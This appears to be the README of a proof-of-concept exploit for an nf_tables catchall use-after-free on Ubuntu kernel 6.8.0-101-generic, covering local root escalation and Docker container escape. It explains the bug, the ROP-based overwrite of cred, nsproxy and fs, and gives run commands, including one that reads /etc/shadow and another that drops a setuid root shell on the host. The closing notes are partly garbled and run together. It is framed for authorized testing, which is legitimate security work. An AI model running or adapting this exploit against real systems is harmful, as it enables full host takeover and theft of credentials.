
nf_tables catchall UAF exploit for Ubuntu 6.8.0-101-generic: unprivileged local privilege escalation to host root and container escape via forged nsproxy and fs.
nf_tables catchall UAF exploit for Ubuntu 6.8.0-101-generic:
For authorized test environments only. A successful run leaves the host kernel in an unrecoverable corrupted state — reboot when done.
An inverted genmask check in nft_map_catchall_activate(): during a transaction abort
the handler skips the inactive catchall elements that need reactivation and processes
the active ones, so chain->use is decremented without restoration. DELCHAIN can then
free a chain that is still referenced by a verdict — a use-after-free.
Affected branches: 5.10.188+, 5.15.121+, 6.1.36+, 6.7–6.12.69, 6.13–6.18.9.
Privilege escalation (lpe mode): the ROP chain overwrites the target task's
real_cred and cred with init_cred, giving real uid 0, full capabilities, and
lifting the LSM restriction. Works on bare metal or directly on the host.
Container escape (default mode): on top of that it overwrites nsproxy (a forged
one, switching mnt/uts/ipc/net/time/cgroup to the host's) and fs (init_fs, so path
resolution starts at the host root without setns() — the docker-default seccomp does
not block it). After success the host /tmp holds a setuid rootsh and you get a host
shell.
Both modes ship in one binary and share the same exploit chain and ROP; only the number of overwritten fields differs.
| Item | Value |
|---|---|
| OS | Ubuntu 22.04.5 LTS |
| Kernel | 6.8.0-101-generic (offsets are hardcoded for this build) |
| Container | Docker, --user 1000:1000, --security-opt seccomp=unconfined |
| Host | kernel.unprivileged_userns_clone=1, nf_tables available |
make
On the test host the project is deployed at /home/ubuntu/poc-cve-2026-23111
(with exploit_escape2 already built).
# run as an unprivileged user
cd /home/ubuntu/poc-cve-2026-23111
./exploit_escape2 check # vulnerability check
./exploit_escape2 lpe # interactive root shell
./exploit_escape2 lpe 'id; head -2 /etc/shadow' # one-shot command

# mount the project directory read-only into the container
docker run -d --name victim --user 1000:1000 \
--security-opt seccomp=unconfined \
-v /home/ubuntu/poc-cve-2026-23111:/poc:ro \
mirror.ccs.tencentyun.com/library/ubuntu:22.04 sleep infinity
docker exec victim /poc/exploit_escape2 check # vulnerability check
docker exec -it victim /poc/exploit_escape2 # interactive host root shell
docker exec victim /poc/exploit_escape2 'id; head -2 /etc/shadow' # one-shot command

pause() — no business logic runs in the hijacked context.lpe writes real_cred/cred; escape adds nsproxy/fs.fork/wait/reap behave normally.6.8.0-101-generic; other flavors or point releases
require re-extracting the offsets.panic_on_oops=1.esc_tgtX / nftpwnAB / parked threads, and never docker rm -f a
container that ran the exploit.reboot.kill %1.net/netfilter/nf_tables_api.c — nft_map_catchall_activate()